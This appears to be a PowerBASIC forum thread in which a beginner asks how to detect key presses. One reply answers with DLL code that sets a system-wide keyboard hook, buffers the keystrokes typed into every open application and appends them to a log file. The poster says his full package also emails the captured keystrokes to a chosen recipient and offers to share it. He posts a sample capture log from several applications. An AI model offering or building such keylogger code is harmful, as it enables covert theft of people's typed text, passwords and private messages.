Announcement

Collapse
No announcement yet.

KEYBOARD KEYS WITHOUT INKEY

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • KEYBOARD KEYS WITHOUT INKEY

    Anyone,

    I want to use key presses in my program, but do not know how in
    PBDLL. I found some code on a LIBMAIN with reference to a hook,
    but I do not know how to load LIBMAIN without calling from my
    .exe program? Also I will need to print random access to printer,
    and I can't figure out how to do it? I would like to use different
    colors, but do not know how? Is there a way to save a screen to
    a bitmap file? Any help will be appreciated.

    Thanks,
    BRENT


    ------------------

  • #2
    I remember Semen had a post on it.
    VB calls it keypreview. It is extremely useful
    for editing input fields and background processing
    while users type. It is the main reason I use
    PB/CC instead of PB/DLL.

    ------------------
    How long is an idea? Write it down.

    Comment


    • #3
      It's so much easier than you can imagine....
      Just call the dummy function and it will set the hook.
      Now, the hook catches keystroke per application opened, but you'll get the hang of it easy enough, I did!!
      The downside is that you have to do your work in the DLL, no matter, set a timer and write it to a file.

      I have the entire package almost done if you'd like a copy of it, it does a lot more than just capture the keystroks (emails them back to whomever)...


      Code:
      Global hHook as long
      Global KeyStrokeBuffer As String
      '
      '
      
      Function PBMain() As Long
      local lResult as long
      lResult = InitializeCCSDLL
      if istrue lResult Then 'Then the buffer is set!  
      End If 'lResult
      End Function
      
      
      '=============================================================================================
      Function LibMain(ByVal hInstance   As Long, _
                       ByVal fwdReason   As Long, _
                       ByVal lpvReserved As Long) Export As Long
      
      Select Case fwdReason
      
          Case %DLL_PROCESS_ATTACH 
      
             hHook = SetWindowsHookEx&(%WH_KEYBOARD, _
                                       CodePtr(KeyBoardHookFunction), _
                                       hInstance, _
                                       0&)
             If hHook Then
               LibMain = 1   'success!
             End If
             Exit Function    
      
          Case %DLL_THREAD_ATTACH
             LibMain = 1   'success!
            Exit Function
      
          Case %DLL_THREAD_DETACH
             LibMain = 1   'success!
            Exit Function
      End Select
      
      End Function
      '=============================================================================================
      '------------------------------------------------------------------------------------------------------------------------
      Function KeyBoardHookFunction(ByVal HookCode As Long, _
                                    ByVal wParam As Long, _
                                    ByVal lParam As Long) Export As Long
      Local KeyStroke As String
      
        If Bit(lParam, 31) Then                     'Only grab the keyup
          Select Case wParam
            Case 10,13,32 To 90                           'Normal Ascii Keys
              KeyStrokeBuffer = KeyStrokeBuffer & Chr$(wParam)
              wParam = %NULL
          End Select
        End If
      End Function
      
      '------------------------------------------------------------------------------------------------------------------------
      Function InitializeCCSDLL() Export As Long
      Local DEBUG As Long
      DEBUG = %TRUE
      Function = DEBUG
      End Function
      ------------------
      Scott
      mailto:[email protected][email protected]</A>
      Scott Turchin
      MCSE, MCP+I
      http://www.tngbbs.com
      ----------------------
      True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

      Comment


      • #4
        'Don't forget to unhook each process!!

        Remember to think in the nth dimension on this. It's not 2 dimensional but rather multi-dimensional..

        You'll have 5 or 10 KeyBoardBuffer Strings in Memory.

        Best way to handle it is something like this:
        local hFile as long


        In the LIBMAIN:
        Code:
        'KeyFile = "C:\Keyfile.txt" or something like that
        
            Case %DLL_PROCESS_DETACH
                 hHook = UnhookWindowsHookEx(hHook)
        
                 If Len(KeyStrokeBuffer) Then
                     KeyBuffer = KeyBuffer & KeyStrokebuffer & Chr$(13,10) & "End: "  & Time$  & "-" & Date$ & Chr$(13,10) & String$(60,"-") & Chr$(13,10)
                     'Now open the main file, append KeyBuffer to it, and close it.
                     hFile = FreeFile
                     Open KeyFile For Append Lock Read Write As #hFile
                     Print #hFile, KeyBuffer
                     Close #hFile
                 End If
        ------------------
        Scott
        mailto:[email protected][email protected]</A>
        Scott Turchin
        MCSE, MCP+I
        http://www.tngbbs.com
        ----------------------
        True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

        Comment


        • #5
          I had it running when I wrote a post up here, and when I sent an email (and a spam showed up in it too, weird), but this is what MY code looks like (My date/time functions are on this, not Date$)
          It captures the Alt-F-X I always use to exit a program too hehe.

          Notice, each application opened an instance of the DLL so to speak, Notepad, Outlook, and one other one.
          Each app then closes when yer done with it, the DLL says "Ooops, time to write it and close" and does just that.
          So I have multiple keyboard captures in here...

          Email me and I'll send you the entire code.


          Start: 01 Jan 01 00:19:38 -0800
          FFOSPYDER
          FF
          End: 01 Jan 01 00:21:26 -0800
          ------------------------------------------------------------

          ------------------------------------------------------------
          Start: 01 Jan 01 00:21:53 -0800
          AH I SEEY OUR POINT
          BUT SINE CE HTE CLIENT DOES DIOES ES NOT READ SMTP ONBUTO NLY POP3 THERES NO NEED FOR ME OT DO THAT 0
          I USE MSWIN2K JSUT A PLAIN TEXT FILE BUT ILLB EU SING HOTMAIL NI THE END0
          THANKS HTINHINK I GOT IT FIGURED OUT AND THSI SHOULD WORK JUST FINE11 0
          SCTOT
          FF
          End: 01 Jan 01 00:22:44 -0800
          ------------------------------------------------------------

          ------------------------------------------------------------
          Start: 01 Jan 01 00:27:59 -0800
          VVNFACNAPSTER
          CJSSCLICK HERE$..CLICK HERE TWICE SO THE LOWEST NUMBER SI SHOWN
          LOWEST NUMBBER FASTEST DOWNLOADFFSS FF
          End: 01 Jan 01 00:29:48 -0800
          ------------------------------------------------------------

          ------------------------------------------------------------
          Start: 01 Jan 01 00:27:21 -0800
          GENESISTAKIGN IT LAL TOO HARD
          ,XFF
          End: 01 Jan 01 00:29:50 -0800
          ------------------------------------------------------------

          ------------------------------------------------------------
          Start: 01 Jan 01 00:17:43 -0800
          YSTR
          End: 01 Jan 01 00:31:12 -0800
          ------------------------------------------------------------

          ------------------------------------------------------------


          ------------------
          Scott
          mailto:[email protected][email protected]</A>

          [This message has been edited by Scott Turchin (edited January 07, 2001).]
          Scott Turchin
          MCSE, MCP+I
          http://www.tngbbs.com
          ----------------------
          True Karate-do is this: that in daily life, one's mind and body be trained and developed in a spirit of humility; and that in critical times, one be devoted utterly to the cause of justice. -Gichin Funakoshi

          Comment


          • #6
            Scott, I must be missing something... what relevance does that email gibbirish have to keyboard hooks?

            ------------------
            Lance
            PowerBASIC Support
            mailto:[email protected][email protected]</A>
            Lance
            mailto:[email protected]

            Comment

            Working...
            X